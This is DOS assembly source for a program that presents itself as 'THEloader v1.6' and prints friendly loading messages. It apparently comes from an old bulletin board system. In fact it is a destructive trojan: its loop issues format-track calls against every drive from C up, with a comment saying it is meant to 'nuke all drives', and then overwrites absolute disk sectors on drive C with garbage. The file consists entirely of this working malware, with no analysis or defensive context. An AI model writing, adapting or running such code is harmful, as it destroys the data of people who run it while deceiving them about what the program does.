DOSSEG
	.MODEL SMALL
	.STACK 100H
	.DATA

CNTR	DB	2			; Counter to nuke all drives C and up
MESSAGE	DB	13,10,"Loading program$"
FINISH	DB	13,10,"Thanx for using THEloader v1.6$",13,10
DOT     DB	".$"

	.CODE
						
kill:   MOV	AX,@DATA
	MOV	DS,AX
	MOV	BP,1
	MOV	DX,OFFSET MESSAGE			;Print the nice little message
	MOV	AH,09H
	INT	21H

KRAD:	CMP	CNTR,26			;Check to see if it's drive Z
	JGE	BYEBYE			;If it is, then jump to the end...
	MOV	AH,05			;Format track
	MOV	CH,0      		;Blah, blah, blah...
	MOV	DH,0			;Starting at Sector 0
	MOV	DL,CNTR			;Drive 
	INT	13H
	MOV	DX,OFFSET DOT
	MOV	AH,09H
	INT	21H
	INC 	CNTR
	JMP	KRAD

BYEBYE: MOV	AL,2
	MOV	CX,700
	MOV	DX,00
	MOV	DS,[DI+99]
	MOV	BX,[DI+55]
	INT	26H
	MOV	DX,OFFSET FINISH
	MOV	AH,09H
	INT	21H
	MOV	AX,4C00H
	INT	21H			;Get outa here...

END     KILL


Downloaded From P-80 International Information Systems 304-744-2253